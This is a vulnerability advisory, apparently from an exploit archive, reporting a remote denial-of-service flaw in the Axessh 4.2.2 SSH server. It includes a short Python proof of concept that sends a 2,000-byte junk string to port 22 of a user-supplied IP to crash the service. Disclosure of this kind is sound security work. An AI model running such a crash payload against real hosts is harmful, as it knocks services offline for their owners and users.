Axessh 4.2 - Denial Of Service

[+] Credits: John Page aka hyp3rlinx    
 
[+] Website: hyp3rlinx.altervista.org
 
[+] Source:  http://hyp3rlinx.altervista.org/advisories/AXESSH-DENIAL-OF-SERVICE.txt
 
[+] ISR: ApparitionSec
 
 
 
Vendor:
============
www.labf.com
 
 
 
Product:
=============
Axessh 4.2.2
 
Axessh is a SSH client. It is a superb terminal emulator/telnet client for Windows. It provides SSH capabilities to Axessh without
sacrificing any of existing functionality. Furthermore, Axessh has been developed entirely outside of the USA, and can be sold
anywhere in the world (apart from places where people aren't allowed to own cryptographic software).
 
2. Axessh features include:
Compatible with SSH protocol version 2.0 (a SSH2-client based on OpenSSH 3.4)
Compatible with SSH protocol version 1.5
Ciphers(for the SSH1-client): 3DES, Blowfish, DES, RC4
Ciphers(for the SSH2-client): 3DES, Blowfish, CAST128, ARCFOUR, AES128, AES192, AES256-cbc
Authentication using password
Authentication RSA
Compression support
Connection forwarding, including full support for X-protocol connection forwarding
"Dynamic Forwarding" which provides other tasks on the same PC with requested port forwarding 
 
 
 
Vulnerability Type:
====================
Denial Of Service
 
AxeSSH will crash after receiving a overly long payload of junk...
 
 
 
Exploit code(s):
===============
 
1) Open the settings window for axessh and choose Run then click Run as EXE, this will launch "xwpsshd.exe"
crashes with bad protocol version.
 
 
import socket
 
print "Axessh 4.2.2 XwpSSHD (wsshd.exe) Remote Denial Of Service"
 
ip = raw_input("[IP]> ")
port = 22
payload="A"*2000
s=socket.create_connection((ip,port))
s.send(payload)

#  0day.today [2018-01-09]  #